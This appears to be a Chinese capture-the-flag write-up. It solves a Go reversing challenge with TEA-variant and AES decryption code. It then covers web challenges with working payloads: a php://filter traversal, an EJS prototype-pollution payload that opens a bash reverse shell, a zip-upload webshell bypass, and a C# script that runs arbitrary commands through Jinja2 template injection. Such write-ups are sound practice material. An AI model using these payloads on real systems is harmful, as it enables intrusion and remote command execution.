前前后后花了两天半看这玩意,前两天看Go咋弄,最后半天看逻辑

使用了GoReSym的一个fork 生成符号,然后运行脚本导入IDA(没解析的时候main.main函数居然被识别成了dq qword_xxxxxxx)

一开始有一层变种茶加密 (用binaryninja逆的, ida看这段东西好像有点问题)

加解密代码如下:

#include <iostream>

// 因为 CLion 调试的时候好像不能以16进显示数字所以这里用了VS写以及调试
#if _MSC_VER
#define bswap32 _byteswap_ulong
#elif __GNUC__
#define bswap32 __builtin_bswap32
#endif

union value_t 
{
	uint8_t v8[8];
	int32_t v32[2];
	int64_t v64;
	struct 
	{
		int32_t v0;
		int32_t v1;
	};
};

union key_t 
{
	uint8_t k8[16];
	uint32_t k32[4];
	struct 
	{
		int32_t k0;
		int32_t k1;
		int32_t k2;
		int32_t k3;
	};
};

value_t encrypt_bninja(const value_t value, const key_t key)
{
	uint32_t v0 = bswap32(value.v0);
	uint32_t v1 = bswap32(value.v1);

	key_t k;
	k.k0 = bswap32(key.k0);
	k.k1 = bswap32(key.k1);
	k.k2 = bswap32(key.k2);
	k.k3 = bswap32(key.k3);

	int32_t sum = 0;

	for(auto i = 0; i < 0x20; i++)
	{
		v0 += (k.k0 + (v1 << 4)) ^ (sum + v1 + 0x9E3779B9) ^ (k.k1 + (v1 >> 5));
		v1 += (k.k2 + (v0 << 4)) ^ (sum + v0 + 0x9E3779B9) ^ (k.k3 + (v0 >> 5));

		sum += 0x9E3779B9;
	}

	value_t v;

	v.v0 = bswap32(v0);
	v.v1 = bswap32(v1);
	
	return v;
}

value_t decrypt_bninja(const value_t value, const key_t key)
{
	uint32_t v0 = bswap32(value.v0);
	uint32_t v1 = bswap32(value.v1);

	key_t k;
	k.k0 = bswap32(key.k0);
	k.k1 = bswap32(key.k1);
	k.k2 = bswap32(key.k2);
	k.k3 = bswap32(key.k3);

	int32_t sum = 0xC6EF3720;

	for (auto i = 0; i < 0x20; i++)
	{
		sum -= 0x9E3779B9;

		v1 -= (k.k2 + (v0 << 4)) ^ (sum + v0 + 0x9E3779B9) ^ (k.k3 + (v0 >> 5));
		v0 -= (k.k0 + (v1 << 4)) ^ (sum + v1 + 0x9E3779B9) ^ (k.k1 + (v1 >> 5));
	}

	value_t v;

	v.v0 = bswap32(v0);
	v.v1 = bswap32(v1);

	return v;
}

int main()
{
	key_t key;
	memcpy(key.k8, "jbE61Vy#3cV3tJmH", 16);
	
	value_t value;
	value.v64 = 0xA4840CFB79E9F06F;

	auto dec = decrypt_bninja(value, key);

	printf("%s\n", dec.v8);
   
   return 0;
}

解出来是个提示: see_sbox

emmm 没看懂什么意思

接下来是个 aes-128-cbc 加密, 密钥写的很清楚了是 12fe32ba87654321

但是IV没看出来, 于是在Go的xor函数(crypto.cipher.xorBytesSSE2 因为这里用了 SSE2 加速会把值放到寄存器上看起来比较简单一点) 上打断点发现 iv 和 key 是一样的

(由于有调试器检测,调试之前还打了一下补丁)

直接解密

byte[] rawData = {
	0x34, 0xC9, 0x05, 0xB3, 0x67, 0x81, 0xC8, 0xAD, 0x20, 0xC2, 0x2F, 0x07,
	0x93, 0x03, 0xD6, 0x65, 0x7A, 0x2E, 0xBA, 0xF4, 0x7C, 0x71, 0x0B, 0xEC,
	0xC4, 0x81, 0x34, 0xDA, 0xDC, 0xE9, 0x7E, 0xEE, 0x05, 0xCF, 0x21, 0xC7,
	0xD9, 0x76, 0xE1, 0x76, 0x84, 0x82, 0xDE, 0xD9, 0xCB, 0x77, 0x5E, 0xA0
};

var aes = new AesManaged();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.None;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Key = Encoding.UTF8.GetBytes("12fe32ba87654321");
aes.IV = Encoding.UTF8.GetBytes("12fe32ba87654321");

using var dec = aes.CreateDecryptor();
using var decStream = new CryptoStream(new MemoryStream(rawData), dec, CryptoStreamMode.Read);
using var sr = new StreamReader(decStream);
Console.WriteLine(sr.ReadToEnd());

结果即为flag

WEB

phpdest

直接把 file 设置成php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php绕过, 然后读base64就是 flag 了

EasyPHP

把 ctf 设置为数组就好啦(post 一个 ctf[])

NodeSoEasy

一开始以为没啥玩意能搞,结果一看哎我草发现__proto__这玩意还能污染。
网上都是污染ejsoutputFunctionName但是他用的版本刚好就新加了检查,最后还剩一个escapeFunction没检测,就改他了

不过他要把 client 也设置为 true 才行

直接反弹一个shell

payload:

{
    "__proto__": {
        "client": true,
        "escapeFunction": "(function(x){return x});\n process.mainModule.require('child_process').exec('bash -c \"bash -i &> /dev/tcp/127.0.0.1/8888 0>&1\"')"
    }
}

ezip

作者在吗 多给点色图

下载色图后题最后面是base64, 解开后发现是题目的源码, 其中zip.php里的zip类是用来解压并且删除上传的数据的

看代码发现在extractTo失败后便不会触发删除文件的代码, 于是只要想办法让他解压失败就行。

我想到的方法就是把文件名改成非法的,让他无法解压就行了,比如全改成/
找一个webshell和随便一个文件一起压缩,把另一个文件的名字完全改成/然后上传即可跳过删除文件的步骤

这边用webshell的是随手找的一个: https://github.com/Caesarovich/rome-webshell

然后上传之后就可以访问目录打开webshell了。

打开webshell之后发现 /flag 的拥有者是root并且权限是600, www-data用户没法访问。

一番搜索之后发现在/usr/bin下有一个执行位为snl, 也可以读取文件内容

于是nl /flag获得flag

EasySSTI

谷歌搜索SSTI知道是服务器端模板注入,然后根据 https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection 上的描述,测试这题的模板引擎为Jinja2

但是他屏蔽了很多关键字, 空格, _, +, 引号, os, flag 等全没了。

但是数字没屏蔽,首先可以通过 self|string|urlencode|first 来获得 %,
然后获得一个c (dict(c=0)|first)。

这样就可以通过格式化出任意字符串了

然后就就可以通过 undefined->__init__->__globals__->__builtins__->eval 来执行任意指令了

写了个脚本

using System.Net;

async Task SendCmd(string cmd)
{
	var payload = @"
{%set p = self|string|urlencode|first%}
{%set c = dict(c=0)|first%}
{%set fmt = p~c%}";

	var dict = new Dictionary<char, string>();

	void AddLocal(string key, string value)
	{
		payload += $"{{%set {key}={value}%}}\n";
	}

	string Escape(string str)
	{
		var result = "";
		foreach (var ch in str)
		{
			if(!dict.ContainsKey(ch))
            {
				AddLocal($"c{(int)ch}", $"(fmt%{(int)ch})");
				dict[ch] = $"c{(int)ch}";
			}

			result += $"{dict[ch]}~";
		}

		if (result.Length > 0)
			return result[0..^1];

		return "";
	}

	void AddLocalString(string key, string value)
	{
		AddLocal(key, Escape(value));
	}

	var target = $"__import__('os').popen('{cmd}').read()";

	AddLocalString("payload", target);
	AddLocalString("in1t", "__init__");
	AddLocalString("built1ns", "__builtins__");
	AddLocalString("gl0bals", "__globals__");
	AddLocalString("items", "items");
	AddLocalString("ev4l", "eval");

	payload += @"
{%for k,v in (fuckyou|attr(in1t)|attr(gl0bals)|attr(items))()%}
	{%if k==built1ns%}
		{%for k1,v1 in (v|attr(items))()%}
			{%if k1==ev4l%}
				--DATA--
				{{v1(payload)}}
				--END--
			{%endif%}
		{%endfor%}
	{%endif%}
{%endfor%}
";

	var content = new FormUrlEncodedContent(new Dictionary<string, string>{
	{"username", payload.Replace(' ', '\n').Replace("\t", "")},
	{"password", ""},
});

	using var hc = new HttpClient();
	var result = await hc.PostAsync("http://ee62a824-7b29-452c-9c03-711f2dad8713.node4.buuoj.cn:81/login", content);
	var html = await result.Content.ReadAsStringAsync();
	var execResult = WebUtility.HtmlDecode(html.Split("--DATA--")[1].Split("--END--")[0].Trim());

	Console.WriteLine(execResult);
}

while(true)
{
	Console.Write("> ");
	await SendCmd(Console.ReadLine());
}

结果

其他

Q: 为什么脚本不用 Python

A: C++和C#,他工作

Q: 为什么 WEB 题写的这么简略

A: 因为除了 NodeSoEasy 别的差不多都是搜出来的,, 因为不懂 web 捏

标签